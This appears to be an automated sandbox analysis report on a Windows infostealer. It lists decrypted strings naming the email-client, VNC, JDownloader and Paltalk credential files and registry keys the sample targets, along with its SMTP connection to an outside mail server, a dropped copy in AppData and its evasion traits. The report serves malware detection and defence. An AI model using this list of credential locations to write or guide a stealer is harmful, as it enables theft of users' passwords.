Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: opera:
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\\|';:,<>/?+=
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PocoMail
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: appdata
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Pocomail\accounts.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: POPPass
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTPPass
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SMTP
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: eM Client
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: eM Client\accounts.dat
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: eM Client
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Accounts
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: "Username":"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: "Secret":"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: 72905C47-F4FD-4CF7-A489-4E8121A155BD
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: "ProviderName":"
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: o6806642kbM7c5
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Mailbird
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SenderIdentities
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Accounts
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \Mailbird\Store\Store.db
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Server_Host
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Accounts
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Email
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Username
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: EncryptedPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Mailbird
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: RealVNC 4.x
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SOFTWARE\Wow6432Node\RealVNC\WinVNC4
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: RealVNC 3.x
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SOFTWARE\RealVNC\vncserver
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: RealVNC 4.x
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: SOFTWARE\RealVNC\WinVNC4
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: RealVNC 3.x
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\ORL\WinVNC3
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: TightVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\TightVNC\Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: TightVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\TightVNC\Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: PasswordViewOnly
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: TightVNC ControlPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\TightVNC\Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ControlPassword
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: TigerVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\TigerVNC\Server
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Password
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles(x86)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles(x86)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd2
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd2
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd2
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles(x86)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: UltraVNC
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: ProgramFiles(x86)
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: passwd2
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: JDownloader 2.0
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: JDownloader 2.0\cfg
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: org.jdownloader.settings.AccountSettings.accounts.ejs
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: JDownloader 2.0\cfg
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Paltalk
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
Source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack	String decryptor: nickname

Source: LisectAVT_2403002A_16.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: LisectAVT_2403002A_16.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: FPzK.pdb source: LisectAVT_2403002A_16.exe, NxmtwwVGOtEdjd.exe.0.dr
Source:	Binary string: FPzK.pdbSHA256 source: LisectAVT_2403002A_16.exe, NxmtwwVGOtEdjd.exe.0.dr

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 4x nop then jmp 05A8CF23h		0_2_05A8CF7B
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 4x nop then jmp 0795C1ACh		10_2_0795C204

Source: global traffic

TCP traffic: 192.168.2.4:49735 -> 199.79.62.115:587

Source: Joe Sandbox View

IP Address: 199.79.62.115 199.79.62.115

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: global traffic

TCP traffic: 192.168.2.4:49735 -> 199.79.62.115:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: mail.mbarieservicesltd.com
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: LisectAVT_2403002A_16.exe, 00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp, NxmtwwVGOtEdjd.exe, 0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.mbarieservicesltd.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1722615685.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp, NxmtwwVGOtEdjd.exe, 0000000A.00000002.1786665418.000000000323E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726399605.0000000005990000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_0130DC74	0_2_0130DC74
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A80620	0_2_05A80620
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A80611	0_2_05A80611
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A80006	0_2_05A80006
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A80040	0_2_05A80040
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A872B8	0_2_05A872B8
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A88F48	0_2_05A88F48
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A88F58	0_2_05A88F58
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A86E80	0_2_05A86E80
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A88B20	0_2_05A88B20
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A86A15	0_2_05A86A15
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A86A48	0_2_05A86A48
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_01384140	9_2_01384140
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_01384D58	9_2_01384D58
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_01384488	9_2_01384488
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_06603934	9_2_06603934
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_066019A0	9_2_066019A0
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_0668C218	9_2_0668C218
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_06686338	9_2_06686338
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_06680040	9_2_06680040
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_0668A8F0	9_2_0668A8F0
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_066894B0	9_2_066894B0
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_06689C38	9_2_06689C38
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_066839E8	9_2_066839E8
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_06680006	9_2_06680006
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_066839D8	9_2_066839D8
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_030CDC74	10_2_030CDC74
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_05737030	10_2_05737030
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_05730040	10_2_05730040
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_05730032	10_2_05730032
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_0573702B	10_2_0573702B
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07950040	10_2_07950040
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07953E18	10_2_07953E18
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_0795E688	10_2_0795E688
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07950611	10_2_07950611
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07950620	10_2_07950620
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_0795E668	10_2_0795E668
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_079572B8	10_2_079572B8
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_0795001E	10_2_0795001E
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07958F58	10_2_07958F58
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07958F48	10_2_07958F48
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07956E80	10_2_07956E80
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07953E0A	10_2_07953E0A
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07958B20	10_2_07958B20
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07956A0D	10_2_07956A0D
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07956A48	10_2_07956A48
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_00FA4140	15_2_00FA4140
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_00FA4D58	15_2_00FA4D58
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_00FA4488	15_2_00FA4488
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_0630AC80	15_2_0630AC80
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_063004C8	15_2_063004C8
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_0630F578	15_2_0630F578
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_0630E5B8	15_2_0630E5B8
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_06309358	15_2_06309358
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_06307161	15_2_06307161

Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1729697957.000000000757A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1718798256.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000000.1647863281.0000000000BDA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFPzK.exe< vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1730117949.0000000007B90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000000.00000002.1722615685.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe, 00000009.00000002.2898676233.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs LisectAVT_2403002A_16.exe
Source: LisectAVT_2403002A_16.exe	Binary or memory string: OriginalFilenameFPzK.exe< vs LisectAVT_2403002A_16.exe

Source: LisectAVT_2403002A_16.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: LisectAVT_2403002A_16.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: NxmtwwVGOtEdjd.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, Icw0P7E5I25dt8WiCY.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: _0020.SetAccessControl
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, Icw0P7E5I25dt8WiCY.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: _0020.SetAccessControl
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/15@2/1

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Mutant created: \Sessions\1\BaseNamedObjects\nrmexAQCdAxIpmz
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7920:120:WilError_03

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File created: C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp

Jump to behavior

Source: LisectAVT_2403002A_16.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: LisectAVT_2403002A_16.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

